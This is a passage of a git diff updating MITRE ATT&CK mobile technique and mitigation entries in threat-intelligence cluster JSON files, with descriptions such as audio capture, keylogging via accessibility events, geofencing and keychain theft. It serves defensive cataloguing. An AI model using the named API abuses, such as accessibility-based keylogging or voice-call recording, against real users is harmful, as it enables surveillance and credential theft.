understanding of common software/applications running on devices within a network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1424) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. \n\n \n\nRecent Android security enhancements have made it more difficult to obtain a list of running processes. On Android 7 and later, there is no way for an application to obtain the process list without abusing elevated privileges. This is due to the Android kernel utilizing the `hidepid` mount feature. Prior to Android 7, applications could utilize the `ps` command or examine the `/proc` directory on the device.(Citation: Android-SELinuxChanges) \n\n \n\nIn iOS, applications have previously been able to use the `sysctl` command to obtain a list of running processes. This functionality has been removed in later iOS versions. ", "meta": { "external_id": "T1424", "kill_chain": [ "mitre-mobile-attack:discovery" ], "mitre_platforms": [ - "Android" + "Android", + "iOS" ], "refs": [ "https://attack.mitre.org/techniques/T1424", @@ -23849,7 +25438,7 @@ "value": "Process Discovery - T1424" }, { - "description": "Adversaries may capture audio to collect information on a user of a mobile device using standard operating system APIs. Adversaries may target audio information such as user conversations, surroundings, phone calls, or other sensitive information.\n\nAndroid and iOS, by default, requires that an application request access to microphone devices from the user. In Android, applications must hold the android.permission.RECORD_AUDIO permission to access the microphone and the android.permission.CAPTURE_AUDIO_OUTPUT permission to access audio output such as speakers. Android does not allow third-party applications to hold android.permission.CAPTURE_AUDIO_OUTPUT, so audio output can only be obtained by privileged applications (distributed by Google or the device vendor) or after a successful privilege escalation attack. In iOS, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file.", + "description": "Adversaries may capture audio to collect information by leveraging standard operating system APIs of a mobile device. Examples of audio information adversaries may target include user conversations, surroundings, phone calls, or other sensitive information. \n\n \n\nAndroid and iOS, by default, require that applications request device microphone access from the user. \n\n \n\nOn Android devices, applications must hold the `RECORD_AUDIO` permission to access the microphone or the `CAPTURE_AUDIO_OUTPUT` permission to access audio output. Because Android does not allow third-party applications to hold the `CAPTURE_AUDIO_OUTPUT` permission by default, only privileged applications, such as those distributed by Google or the device vendor, can access audio output.(Citation: Android Permissions) However, adversaries may be able to gain this access after successfully elevating their privileges. With the `CAPTURE_AUDIO_OUTPUT` permission, adversaries may pass the `MediaRecorder.AudioSource.VOICE_CALL` constant to `MediaRecorder.setAudioOutput`, allowing capture of both voice call uplink and downlink.(Citation: Manifest.permission) \n\n \n\nOn iOS devices, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file to access the microphone.(Citation: Requesting Auth-Media Capture)", "meta": { "external_id": "APP-19", "kill_chain": [ @@ -23861,11 +25450,16 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1429", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html" + "https://blog.zecops.com/research/how-ios-malware-can-spy-on-users-silently/", + "https://developer.android.com/reference/android/Manifest.permission", + "https://developer.android.com/reference/android/media/MediaRecorder.AudioSource#VOICE_CALL", + "https://developer.apple.com/documentation/avfoundation/cameras_and_media_capture/requesting_authorization_for_media_capture_on_ios", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html", + "https://source.android.com/devices/tech/config/privacy-indicators" ] }, "uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", - "value": "Capture Audio - T1429" + "value": "Audio Capture - T1429" }, { "description": "Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).", @@ -23984,6 +25578,42 @@ "uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", "value": "SMS Control - T1582" }, + { + "description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign. Values an adversary can provide about a target system or environment to use as guardrails may include environment information such as location.(Citation: SWB Exodus March 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [System Checks](https://attack.mitre.org/techniques/T1633/001). While use of [System Checks](https://attack.mitre.org/techniques/T1633/001) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.", + "meta": { + "external_id": "T1627", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1627", + "https://securitywithoutborders.org/blog/2019/03/29/exodus.html" + ] + }, + "uuid": "498e7b81-238d-404c-aa5e-332904d63286", + "value": "Execution Guardrails - T1627" + }, + { + "description": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Mobile operating systems have features and developer APIs to hide various artifacts, such as an application’s launcher icon. These APIs have legitimate usages, such as hiding an icon to avoid application drawer clutter when an application does not have a usable interface. Adversaries may abuse these features and APIs to hide artifacts from the user to evade detection.", + "meta": { + "external_id": "T1628", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1628" + ] + }, + "uuid": "fc53309d-ebd5-4573-9242-57024ebdad4f", + "value": "Hide Artifacts - T1628" + }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1286).\n\nDumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)", "meta": { @@ -23998,6 +25628,25 @@ "uuid": "6c79d654-6506-4f33-b48f-c80babdcc52d", "value": "Dumpster dive - T1286" }, + { + "description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may span both native defenses as well as supplemental capabilities installed by users or mobile endpoint administrators.", + "meta": { + "external_id": "APP-22", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1629", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html", + "https://partner.samsungknox.com/mtd" + ] + }, + "uuid": "20b0931a-8952-42ca-975f-775bad295f1a", + "value": "Impair Defenses - T1629" + }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1333).\n\nDynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)", "meta": { @@ -24131,6 +25780,25 @@ "uuid": "0458aab9-ad42-4eac-9e22-706a95bafee2", "value": "Acquire Infrastructure - T1583" }, + { + "description": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. This algorithm can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.", + "meta": { + "external_id": "T1637", + "kill_chain": [ + "mitre-mobile-attack:command-and-control" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1637", + "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/" + ] + }, + "uuid": "2ccc3d39-9598-4d32-9657-42e1c7095d26", + "value": "Dynamic Resolution - T1637" + }, { "description": "An adversary may seek to lock the legitimate user out of the device, for example to inhibit user interaction or to obtain a ransom payment.\n\nOn Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to prevent the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device’s passcode.(Citation: Android resetPassword)\n\nOn iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)", "meta": { @@ -24150,6 +25818,15 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html" ] }, + "related": [ + { + "dest-uuid": "acf8fd2a-dc98-43b4-8d37-64e10728e591", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", "value": "Device Lockout - T1446" }, @@ -24401,7 +26078,7 @@ ] }, "uuid": "52eff1c7-dd30-4121-b762-24ae6fa61bbb", - "value": "Native Code - T1575" + "value": "Native API - T1575" }, { "description": "Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)", @@ -24583,6 +26260,29 @@ "uuid": "ce0687a0-e692-4b77-964a-0784a8e54ff1", "value": "Obtain Capabilities - T1588" }, + { + "description": "Adversaries may attempt to position themselves between two or more networked devices to support follow-on behaviors such as [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1642). \n\n \n\n[Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1638) can be achieved through several mechanisms, such as a malicious application registering itself as a VPN client. By doing this, the adversary can effectively redirect device traffic to wherever they want. However, registering as a VPN client requires user consent on both Android and iOS. Additionally, on iOS, the application requires a special entitlement that must be granted by Apple. Alternatively, if an application is able to escalate privileges, it can potentially utilize those privileges to gain access to network traffic. \n\n \n\nOutside of a mobile device, adversaries may be able to capture traffic by employing a rogue base station or Wi-Fi access point. These devices will allow adversaries to capture network traffic after it has left the device, while it is flowing to its destination. On a local network, enterprise techniques could be used, such as DNS redirection or DNS poisoning. \n\n \n\nIf applications properly encrypt their network traffic, sensitive data may not be accessible an adversary, depending on the point of capture. ", + "meta": { + "external_id": "ECO-12", + "kill_chain": [ + "mitre-mobile-attack:collection" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1638", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-8.html", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-12.html" + ] + }, + "uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", + "value": "Adversary-in-the-Middle - T1638" + }, { "description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", "meta": { @@ -24885,6 +26585,29 @@ "uuid": "01327cde-66c4-4123-bf34-5f258d59457b", "value": "VNC - T1021.005" }, + { + "description": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.", + "meta": { + "external_id": "T1406.001", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1406/001" + ] + }, + "related": [ + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "type": "subtechnique-of" + } + ], + "uuid": "fa801609-ca8e-415e-815e-65f3826ff4df", + "value": "Steganography - T1406.001" + }, { "description": "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) ", "meta": { @@ -25369,6 +27092,33 @@ "uuid": "c92e3d68-2349-49e4-a341-7edca2deff96", "value": "MSBuild - T1127.001" }, + { + "description": "Adversaries may log user keystrokes to intercept credentials or other information from the user as the user types them.\n\nSome methods of keylogging include:\n\n* Masquerading as a legitimate third-party keyboard to record user keystrokes.(Citation: Zeltser-Keyboard) On both Android and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.\n* Abusing accessibility features. On Android, adversaries may abuse accessibility features to record keystrokes by registering an `AccessibilityService` class, overriding the `onAccessibilityEvent` method, and listening for the `AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED` event type. The event object passed into the function will contain the data that the user typed. \n*Additional methods of keylogging may be possible if root access is available. \n", + "meta": { + "external_id": "AUT-13", + "kill_chain": [ + "mitre-mobile-attack:collection", + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1417/001", + "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-13.html", + "https://zeltser.com/third-party-keyboards-security/" + ] + }, + "related": [ + { + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "type": "subtechnique-of" + } + ], + "uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "value": "Keylogging - T1417.001" + }, { "description": "Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n", "meta": { @@ -25526,6 +27276,31 @@ "uuid": "24286c33-d4a4-4419-85c2-1d094a896c26", "value": "Hardware - T1592.001" }, + { + "description": "Adversaries may use a device’s geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.(Citation: Lookout eSurv)\n\n[Geofencing](https://attack.mitre.org/techniques/T1627/001) is accomplished by persuading the user to grant the application permission to access location services. The application can then collect, process, and exfiltrate the device’s location to perform location-based actions, such as ceasing malicious behavior or showing region-specific advertisements. \n\nOne method to accomplish [Geofencing](https://attack.mitre.org/techniques/T1627/001) on Android is to use the built-in Geofencing API to automatically trigger certain behaviors when the device enters or exits a specified radius around a geographical location. Similar to other [Geofencing](https://attack.mitre.org/techniques/T1627/001) methods, this requires that the user has granted the `ACCESS_FINE_LOCATION` and `ACCESS_BACKGROUND_LOCATION` permissions. The latter is only required if the application targets Android 10 (API level 29) or higher. However, Android 11 introduced additional permission controls that may restrict background location collection based on user permission choices at runtime. These additional controls include \"Allow only while using the app\", which will effectively prohibit background location collection. \n\nSimilarly, on iOS, developers can use built-in APIs to setup and execute geofencing. Depending on the use case, the app will either need to call `requestWhenInUseAuthorization()` or `requestAlwaysAuthorization()`, depending on when access to the location services is required. Similar to Android, users also have the option to limit when the application can access the device’s location, including one-time use and only when the application is running in the foreground. \n\n[Geofencing](https://attack.mitre.org/techniques/T1627/001) can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. For example, location data could be used to limit malware spread and/or capabilities, which could also potentially evade application analysis environments (ex: malware analysis outside of the target geographic area). Other malicious usages could include showing language-specific input prompts and/or advertisements.", + "meta": { + "external_id": "T1627.001", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1627/001", + "https://blog.lookout.com/esurv-research" + ] + }, + "related": [ + { + "dest-uuid": "498e7b81-238d-404c-aa5e-332904d63286", + "type": "subtechnique-of" + } + ], + "uuid": "e422b6fa-4739-46b9-992e-82f1b350c780", + "value": "Geofencing - T1627.001" + }, { "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)", "meta": { @@ -25591,6 +27366,32 @@ "uuid": "6e3bd510-6b33-41a4-af80-2d80f3ee0071", "value": "Odbcconf - T1218.008" }, + { + "description": "Adversaries may collect keychain data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials. \n\nOn the device, the keychain database is stored outside of application sandboxes to prevent unauthorized access to the raw data. Standard iOS APIs allow applications access to their own keychain contained within the database. By utilizing a privilege escalation exploit or existing root access, adversaries can access the entire encrypted database.(Citation: Apple Keychain Services)(Citation: Elcomsoft Decrypt Keychain) ", + "meta": { + "external_id": "AUT-11", + "kill_chain": [ + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1634/001", + "https://blog.elcomsoft.com/2018/12/six-ways-to-decrypt-iphone-passwords-from-the-keychain/", + "https://developer.apple.com/documentation/security/keychain_services", + "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html" + ] + }, + "related": [ + { + "dest-uuid": "cc6e0637-76d2-4af3-a604-9d8d3ff8a6b3", + "type": "subtechnique-of" + } + ], + "uuid": "8605a0ec-b44a-4e98-a7fc-87d4bd3acb66", + "value": "Keychain - T1634.001" + }, { "description": "Adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016)\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)", "meta": { @@ -27273,6 +29074,15 @@ "https://developer.apple.com/documentation/corelocation/requesting_authorization_for_location_services" ] }, + "related": [ + { + "dest-uuid": "e422b6fa-4739-46b9-992e-82f1b350c780", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "8197f026-64da-4700-93b9-b55ba55f3b31", "value": "Geofencing - T1581" }, @@ -27457,9 +29267,18 @@ "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html" ] }, + "related": [ + { + "dest-uuid": "8605a0ec-b44a-4e98-a7fc-87d4bd3acb66", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "27f483c6-6666-44fa-8532-ffd5fc7dab38", "value": "Keychain - T1579" } ], - "version": 20 + "version": 21 } diff --git a/clusters/mitre-course-of-action.json b/clusters/mitre-course-of-action.json index a5d7667..fc7cb43 100644 --- a/clusters/mitre-course-of-action.json +++ b/clusters/mitre-course-of-action.json @@ -887,21 +887,56 @@ }, "related": [ { - "dest-uuid": "27f483c6-6666-44fa-8532-ffd5fc7dab38", + "dest-uuid": "20b0931a-8952-42ca-975f-775bad295f1a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "2f0e8d80-4b8b-4f4a-b5cc-132afe7e057d", + "dest-uuid": "24a77e53-0751-46fc-b207-99378fb35c08", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "dest-uuid": "29f1f56c-7b7a-4c14-9e39-59577ea2743c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8605a0ec-b44a-4e98-a7fc-87d4bd3acb66", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "cc6e0637-76d2-4af3-a604-9d8d3ff8a6b3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -913,13 +948,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" - }, - { - "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" } ], "uuid": "cf2cccb1-cab8-431a-8ecf-f7874d05f433", @@ -1004,22 +1032,7 @@ "https://attack.mitre.org/mitigations/M1007" ] }, - "related": [ - { - "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "e944670c-d03a-4e93-a21c-b3d4c53ec4c9", "value": "Caution with Device Administrator Access - M1007" }, @@ -2847,6 +2860,27 @@ ] }, "related": [ + { + "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "1b51f5bc-b97a-498a-8dbd-bc6b1901bf19", "tags": [ @@ -2854,6 +2888,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "1d44f529-6fe6-489f-8a01-6261ac43f05e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "2204c371-6100-4ae0-82f3-25c07c29772a", "tags": [ @@ -2862,42 +2903,28 @@ "type": "mitigates" }, { - "dest-uuid": "27f483c6-6666-44fa-8532-ffd5fc7dab38", + "dest-uuid": "233fe2c0-cb41-4765-b454-e0087597fbce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3", + "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "2d646840-f6f5-4619-a5a8-29c8316bbac5", + "dest-uuid": "498e7b81-238d-404c-aa5e-332904d63286", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2932,63 +2959,49 @@ "type": "mitigates" }, { - "dest-uuid": "77e30eee-fd48-40b4-99ec-73e97c158b58", + "dest-uuid": "74e6003f-c7f4-4047-983b-708cc19b96b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "dest-uuid": "789ef15a-34d9-4b32-a779-8cbbc9eb32f5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "8197f026-64da-4700-93b9-b55ba55f3b31", + "dest-uuid": "79cb02f4-ac4e-4335-8b51-425c9573cce1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "88932a8c-3a17-406f-9431-1da3ff19f6d6", + "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "a0464539-e1b7-4455-a355-12495987c300", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "dest-uuid": "acf8fd2a-dc98-43b4-8d37-64e10728e591", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3002,7 +3015,7 @@ "type": "mitigates" }, { - "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "dest-uuid": "c548d8c4-a0a3-4a24-bb79-2a84abbc7b36", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3022,6 +3035,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "d446b9f0-06a9-4a8d-97ee-298cfee84f14", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", "tags": [ @@ -3037,35 +3057,35 @@ "type": "mitigates" }, { - "dest-uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd", + "dest-uuid": "dc01774a-d1c1-45fb-b506-0a5d1d6593d9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "e399430e-30b7-48c5-b70a-f44dc8c175cb", + "dest-uuid": 